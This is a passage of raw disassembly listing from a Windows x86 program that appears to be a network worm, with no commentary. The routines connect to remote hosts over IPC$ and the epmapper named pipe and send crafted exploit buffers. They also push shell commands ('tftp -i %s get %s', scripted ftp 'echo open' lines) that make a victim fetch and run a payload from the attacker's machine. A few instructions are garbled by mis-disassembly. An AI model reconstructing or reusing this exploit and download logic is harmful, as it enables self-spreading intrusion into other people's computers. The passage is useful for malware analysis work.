call sub_402988
add esp, 0C4h
test al, al
jz short loc_402F30
loc_402F29: ; CODE XREF: sub_402DDD+128j
mov [ebp+var_8], 1
loc_402F30: ; CODE XREF: sub_402DDD+14Aj
push ebx
call ds:dword_4211F0 ; closesocket
cmp [ebp+var_8], 0
jz short loc_402F7C
push 0
lea eax, [ebp+var_218]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D32
lea eax, [ebp+var_218]
push eax
call sub_40B151
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc ds:dword_427308[eax]
lea eax, dword_427308[eax]
loc_402F7C: ; CODE XREF: sub_402DDD+15Ej
push 1
pop eax
loc_402F7F: ; CODE XREF: sub_402DDD+FFj
pop edi
pop esi
pop ebx
leave
retn
sub_402DDD endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4033CB
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_403C8B
add esp, 0BCh
test ebx, ebx
jnz short loc_402FD6
test eax, eax
jz short loc_402FD9
loc_402FD6: ; CODE XREF: seg000:00402FD0j
push 1
pop eax
loc_402FD9: ; CODE XREF: seg000:00402FD4j
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FDD proc near ; CODE XREF: sub_4033CB+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_4255F4 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, ds:byte_438F9C
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call ds:dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D7F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D7F
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_438F98
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call ds:dword_43A418
cmp eax, 5
mov ebx, 4C3h
jz short loc_4030A1
cmp eax, ebx
jnz short loc_4030AB
loc_4030A1: ; CODE XREF: sub_402FDD+BEj
push edi
push edi
push edi
push esi
call ds:dword_43A418
loc_4030AB: ; CODE XREF: sub_402FDD+C2j
cmp eax, 5
jz short loc_4030B9
cmp eax, ebx
jz short loc_4030B9
push 1
pop eax
jmp short loc_4030BB
; ---------------------------------------------------------------------------
loc_4030B9: ; CODE XREF: sub_402FDD+D1j
; sub_402FDD+D5j
xor eax, eax
loc_4030BB: ; CODE XREF: sub_402FDD+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_402FDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030C0 proc near ; CODE XREF: sub_4033CB+7Ap
; sub_4033CB+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_4255F4 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, ds:byte_438F9C
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call ds:dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D7F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D7F
add esp, 10h
loc_403151: ; CODE XREF: sub_4030C0+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call ds:dword_43A2B8
test eax, eax
jz short loc_403171
push 7D0h
call ds:dword_421060 ; Sleep
jmp short loc_403151
; ---------------------------------------------------------------------------
loc_403171: ; CODE XREF: sub_4030C0+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4030C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403178 proc near ; CODE XREF: sub_4033CB+A9p
; sub_4033CB+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_415D50
push esi
push edi
push offset aTilesoft_com ; "Tilesoft.com"
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40A155
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_414DEA
mov edi, eax
add esp, 10h
test edi, edi
jz loc_4033C7
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_4155B0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415550
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_4155B0
add esp, 24h
lea esi, [edi+0D7h]
loc_4031FD: ; CODE XREF: sub_403178+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40324D
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_4155B0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415550
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_4155B0
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_4031FD
; ---------------------------------------------------------------------------
loc_40324D: ; CODE XREF: sub_403178+90j
cmp [ebp+arg_C4], 0
jz short loc_403268
cmp [ebp+arg_C0], 3
jz short loc_403271
cmp [ebp+arg_C0], 0
jmp short loc_40326F
; ---------------------------------------------------------------------------
loc_403268: ; CODE XREF: sub_403178+DCj
cmp [ebp+arg_C0], 3
loc_40326F: ; CODE XREF: sub_403178+EEj
jnz short loc_40327A
loc_403271: ; CODE XREF: sub_403178+E5j
push 4
push offset dword_4255F0
jmp short loc_403281
; ---------------------------------------------------------------------------
loc_40327A: ; CODE XREF: sub_403178:loc_40326Fj
push 4
push offset dword_4255EC
loc_403281: ; CODE XREF: sub_403178+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_4155B0
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_425124
push eax
call sub_4155B0
push 10h
lea eax, [ebp+var_CA4]
push offset dword_425488
push eax
call sub_4155B0
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_4155B0
lea edi, [esi+370h]
push 3Ch
push offset off_42549C
lea eax, [ebp+edi+var_1004]
push eax
call sub_4155B0
add edi, 3Ch
push 30h
push offset dword_4254DC
lea eax, [ebp+edi+var_1004]
push eax
call sub_4155B0
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_415DA9
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_415550
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_4155B0
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_4033C7: ; CODE XREF: sub_403178+3Ej
pop edi
pop esi
leave
retn
sub_403178 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033CB proc near ; CODE XREF: seg000:00402FA3p
; sub_40776F+1E6p
; DATA XREF: ...
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
arg_5053EC3D = byte ptr 5053EC45h
push ebp
mov ebp, esp
mov eax, 1338h
call sub_415D50
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_403539
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_402FDD
pop ecx
test eax, eax
pop ecx
jz loc_403649
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_4154CD
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_421078 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_403450
loc_403441: ; CODE XREF: sub_4033CB+126j
lea eax, [ebp+arg_4]
push eax
call sub_4030C0
pop ecx
jmp loc_403649
; ---------------------------------------------------------------------------
loc_403450: ; CODE XREF: sub_4033CB+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_412B7E
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403178
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_4034E8
mov edi, 186A0h
push edi
call sub_415DA9
mov esi, eax
push edi
push ebx
push esi
call sub_415550
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_4250D8
push [ebp+var_4]
call near ptr 3D0000h
mov al, [eax+750C027Eh]
sbb [ebp+arg_5053EC3D], cl
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call near ptr 3D0000h
icebp
test eax, eax
jnz short loc_4034F6
push esi
call sub_415E1D
push [ebp+var_8]
call sub_415E1D
pop ecx
pop ecx
loc_4034E8: ; CODE XREF: sub_4033CB+B9j
push [ebp+var_4]
call ds:dword_42106C ; CloseHandle
jmp loc_403441
; ---------------------------------------------------------------------------
loc_4034F6: ; CODE XREF: sub_4033CB+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call ds:dword_421068 ; ReadFile
push [ebp+var_8]
mov edi, eax
call sub_415E1D
push esi
call sub_415E1D
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_42106C ; CloseHandle
lea eax, [ebp+arg_4]
push eax
call sub_4030C0
cmp edi, 1
pop ecx
jnz loc_40365A
jmp loc_403649
; ---------------------------------------------------------------------------
loc_403539: ; CODE XREF: sub_4033CB+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_412B7E
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_403649
xor ebx, ebx
push ebx
push 1
push 2
call ds:dword_43A3F8 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403649
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call ds:dword_43A378 ; ntohs
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_43A3B8 ; inet_addr
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403178
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_4035CB
push [ebp+var_4]
jmp short loc_403643
; ---------------------------------------------------------------------------
loc_4035CB: ; CODE XREF: sub_4033CB+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4035E3
loc_4035E0: ; CODE XREF: sub_4033CB+22Aj
push esi
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_4035E3: ; CODE XREF: sub_4033CB+213j
push ebx
push 48h
push offset dword_4250D8
push edi
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4035E0
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call ds:dword_43A390 ; recv
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403624
push [ebp+var_8]
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_403624: ; CODE XREF: sub_4033CB+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call ds:dword_43A390 ; recv
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_40364D
loc_40363C: ; CODE XREF: sub_4033CB+216j
; sub_4033CB+257j
call sub_415E1D
pop ecx
push edi
loc_403643: ; CODE XREF: sub_4033CB+1FEj
call ds:dword_43A410 ; closesocket
loc_403649: ; CODE XREF: sub_4033CB+31j
; sub_4033CB+80j ...
xor eax, eax
jmp short loc_4036CA
; ---------------------------------------------------------------------------
loc_40364D: ; CODE XREF: sub_4033CB+26Fj
call sub_415E1D
pop ecx
push edi
call ds:dword_43A410 ; closesocket
loc_40365A: ; CODE XREF: sub_4033CB+163j
xor esi, esi
loc_40365C: ; CODE XREF: sub_4033CB+2B1j
lea eax, [ebp+var_338]
push eax
call sub_40B231
test eax, eax
pop ecx
jnz short loc_403680
push 1388h
call ds:dword_421060 ; Sleep
inc esi
cmp esi, 6
jl short loc_40365C
jmp short loc_4036C7
; ---------------------------------------------------------------------------
loc_403680: ; CODE XREF: sub_4033CB+2A0j
cmp [ebp+arg_B4], ebx
jnz short loc_4036A5
push ebx
lea eax, [ebp+var_338]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D32
add esp, 14h
loc_4036A5: ; CODE XREF: sub_4033CB+2BBj
lea eax, [ebp+var_338]
push eax
call sub_40B151
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc ds:dword_427308[eax]
lea eax, dword_427308[eax]
loc_4036C7: ; CODE XREF: sub_4033CB+2B3j
push 1
pop eax
loc_4036CA: ; CODE XREF: sub_4033CB+280j
pop edi
pop esi
pop ebx
leave
retn
sub_4033CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4036CF proc near ; DATA XREF: seg002:00423004o
jmp $+5
sub_4036CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4036D4 proc near
push 0BB80h
push 76Ch
call sub_41407E
pop ecx
mov ds:dword_438FA0, eax
pop ecx
retn
sub_4036D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036EB proc near ; CODE XREF: sub_40384C+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_43A3B8 ; inet_addr
mov [ebp+var_C], eax
mov ax, word ptr ds:dword_438FA0
push eax
call ds:dword_43A378 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_43A3F8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403825
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jz loc_403825
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call ds:dword_43A390 ; recv
mov esi, offset aTilesoft_com ; "Tilesoft.com"
push esi
push esi
push [ebp+arg_0]
call sub_40A155
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A4A
add esp, 18h
push esi
push esi
push ds:dword_438FBC
push [ebp+arg_0]
call sub_40A155
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A4A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403825
push 1F4h
call ds:dword_421060 ; Sleep
push esi
push offset dword_425050
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A4A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403829
loc_403825: ; CODE XREF: sub_4036EB+51j
; sub_4036EB+67j ...
xor al, al
jmp short loc_403847
; ---------------------------------------------------------------------------
loc_403829: ; CODE XREF: sub_4036EB+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call ds:dword_43A390 ; recv
push ebx
call ds:dword_43A410 ; closesocket
mov al, 1
loc_403847: ; CODE XREF: sub_4036EB+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4036EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40384C proc near ; CODE XREF: sub_403C8B+125p
; sub_403C8B+147p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_415D50
mov eax, ds:dword_4250D0
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_4250D4
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_4250C4
push eax
call sub_4154CD
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40388B: ; CODE XREF: sub_40384C+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40388B
push 60h
lea eax, [ebp+var_B4]
push offset dword_425B10
push eax
call sub_4155B0
lea eax, [ebp+var_3C]
push eax
call sub_415CD0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_4155B0
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_415CD0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_4155B0
lea eax, [ebp+var_3C]
push eax
call sub_415CD0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_4155B0
lea eax, [ebp+var_3C]
push eax
call sub_415CD0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_4155B0
mov ax, word ptr ds:dword_438FA0
add esp, 2Ch
push eax
call ds:dword_43A378 ; ntohs
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_425810
call sub_4155B0
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_403A48
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_415550
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_425F38[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_4155B0
mov esi, offset loc_425760
push esi
call sub_415CD0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_4155B0
push 4
lea eax, [ebp+var_11AC]
push offset loc_4250BC
push eax
call sub_4155B0
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_4155B0
add esp, 40h
push esi
call sub_415CD0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_4155B0
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_403A01: ; CODE XREF: sub_40384C+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_403A01
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_415550
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_415550
add esp, 18h
jmp short loc_403A9F
; ---------------------------------------------------------------------------
loc_403A48: ; CODE XREF: sub_40384C+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_415550
mov esi, offset loc_425760
push esi
call sub_415CD0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_4155B0
lea eax, [ebp+var_10]
push eax
call sub_415CD0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_4155B0
mov eax, ds:dword_425F38
add esp, 2Ch
mov [ebp+var_768], eax
loc_403A9F: ; CODE XREF: sub_40384C+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_415550
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403ADE
loc_403AD7: ; CODE XREF: sub_40384C+2B9j
; sub_40384C+2E0j ...
xor al, al
jmp loc_403C86
; ---------------------------------------------------------------------------
loc_403ADE: ; CODE XREF: sub_40384C+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43A390 ; recv
push ebx
push 68h
push offset dword_425B74
push edi
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43A390 ; recv
push ebx
push 0A0h
push offset dword_425BE0
push edi
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43A390 ; recv
cmp [ebp+arg_C0], ebx
jz loc_403BF4
push 68h
lea eax, [ebp+var_89B4]
push offset dword_425D98
push eax
call sub_4155B0
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_4155B0
push 70h
lea eax, [ebp+var_68DC]
push offset dword_425E04
push eax
call sub_4155B0
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_4155B0
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_425E78
push eax
call sub_4155B0
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz loc_403AD7
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43A390 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_403C4A
; ---------------------------------------------------------------------------
loc_403BF4: ; CODE XREF: sub_40384C+2F8j
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_425C84
push eax
call sub_4155B0
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_4155B0
push 90h
lea eax, [ebp+var_245C]
push offset off_425D04
push eax
call sub_4155B0
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_403C4A: ; CODE XREF: sub_40384C+3A6j
push eax
push edi
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz loc_403AD7
push 12Ch
call ds:dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4036EB
add esp, 0BCh
test al, al
setnz al
loc_403C86: ; CODE XREF: sub_40384C+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40384C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C8B proc near ; CODE XREF: seg000:00402FC3p
; seg000:00403E78p ...
var_854 = byte ptr -854h
var_810 = byte ptr -810h
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_41407E
xor edi, edi
push 10h
lea eax, [ebp+var_14]
push edi
push eax
mov [ebp+var_4], edi
call sub_415550
add esp, 14h
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call ds:dword_43A3B8 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_10], eax
call ds:dword_43A378 ; ntohs
push 6
push 1
push 2
mov [ebp+var_12], ax
call ds:dword_43A3F8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403D93
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jz loc_403D93
push edi
push 89h
